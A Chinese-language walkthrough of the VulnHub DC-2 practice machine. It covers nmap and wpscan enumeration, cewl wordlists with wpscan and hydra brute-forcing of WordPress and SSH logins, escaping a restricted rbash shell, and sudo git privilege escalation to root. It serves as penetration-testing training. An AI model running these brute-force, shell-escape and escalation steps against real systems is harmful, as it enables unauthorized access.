DC2
靶机地址:https://www.vulnhub.com/entry/dc-2,311/
攻击者IP:192.168.56.108 (桥接自动) vmare
受害者ip:192.168.56.112 (仅主机) vmbox
参考:https://www.freebuf.com/articles/web/260515.html
https://blog.csdn.net/weixin_41082546/article/details/99190426
https://blog.csdn.net/negnegil/article/details/117633623
https://www.cnblogs.com/zhijiya/p/15142059.html
https://blog.csdn.net/a310034188/article/details/121624538
hosts文件在不同操作系统中的存放路径:
Windows系统:C:WindowsSystem32driversetc
Mac OS系统:/etc/
Linux及其它类Unix系统:/etc/
Android系统:/system/etc/
vim /etc/hosts
主机发现
netdiscover -i eth0 -r 192.168.88.1/24 arp-scan -l nmap -sn 192.168.56.0/24
扫描端口,发现80web,7744ssh
访问web页面,找到flag1并获得提示
目录爆破,找到后台地址
dc-2/wp-admin
wpscan专门针对wordpress的工具
wpscan --url http://dc-2发现wordpress的版本4.7.10 wpscan --url http://dc-2 --enumerate t 扫描主题--enumerate可省略成-e wpscan --url http://dc-2 --enumerate p 扫描插件 wpscan --url http://dc-2 --enumerate u 枚举用户
枚举出的3个账号
admin
jerry
tom
根据flag1可以用暴力破解使用cewl生成字典
vim users.txt把admin,jerry,tom塞进去 cewl http://dc-2/ > password.txt把生成的字典塞到password.txt wpscan --url http://dc-2/ -U users.txt -P password.txt
jerry / adipiscingtom / parturient 普通用户
登陆进去,找到flag2
如果你不能利用WordPress并走捷径,还有另一种方法。希望你找到了另一个切入点。
在找找有没有洞
查看版本漏洞
找到xss漏洞
参考:https://xz.aliyun.com/t/6395
7744是ssh端口,尝试远程登陆
jerry / adipiscingtom / parturient
或者使用hydra破解sshhydra -L user.txt -P password.txt ssh://192.168.56.112 -s 7744 -vV
ssh [email protected] -p 7744
parturient
进去后发现很多命令不能用
compgen -c//查看可以使用的指令
发现vi
查看flag3.txt
vi flag3.txt
大概意思是提示我们切换jerry账户
这里是rbash限制,需要绕过
有很多不同的限制外壳可供选择。其中一些只是普通的shell,有一些简单的常见限制,实际上并不是可配置的,例如rbash(限制Bash)rzsh和rksh(受限模式下的Korn Shell),这些都非常容易绕过。其他人有一个完整的配置集,可以重新设计以满足管理员的需求,如lshell(Limited Shell)和rssh(Restricted Secure Shell)。 一旦配置可以被管理员收紧,可配置的shell就更难以绕过。在这些shell上绕过技术通常依赖于管理员有点被迫为普通用户提供某些不安全命令的事实。。如果在没有适当安全配置的情况下允许,它们会为攻击者提供升级权限的工具,有时还会向root用户升级。 其他原因是,有时管理员只是Linux系统管理员,而不是真正的安全专业人员,因此从渗透测试人员的角度来看,他们并不真正了解部队的方式,并最终允许太多危险命令。
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
绕过: #把/bin/bash给a变量,绕过首先的shellBASH_CMDS[a]=/bin/sh;a#使用并添加环境变量,将/bin 作为PATH环境变量导出export PATH=$PATH:/bin/ #将/usr/bin作为PATH环境变量导出export PATH=$PATH:/usr/bin
环境变量绕过
参考:https://blog.csdn.net/qq_38677814/article/details/80003851
1.r意味着restrict 2.使用BASH_CMDS[a]=/bin/sh;a 3. $ export PATH=$PATH:/bin/ $ export PATH=$PATH:/usr/bin 4. echo /*查看文件
vi绕过
vi随便打开文件 再下面添加 :set shell=/bin/sh :shell
flag4 提示我们可以使用git,我们可以通过git来提权
sudo -l 我们可以看到无需root权限,jerry 可以使用 git
git提权
使用 sudo git -p help -a 且一页不能显示完,在最底下面输入 !/bin/bash,最后完成提权
原文始发于微信公众号(王之暴龙战神):DC2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论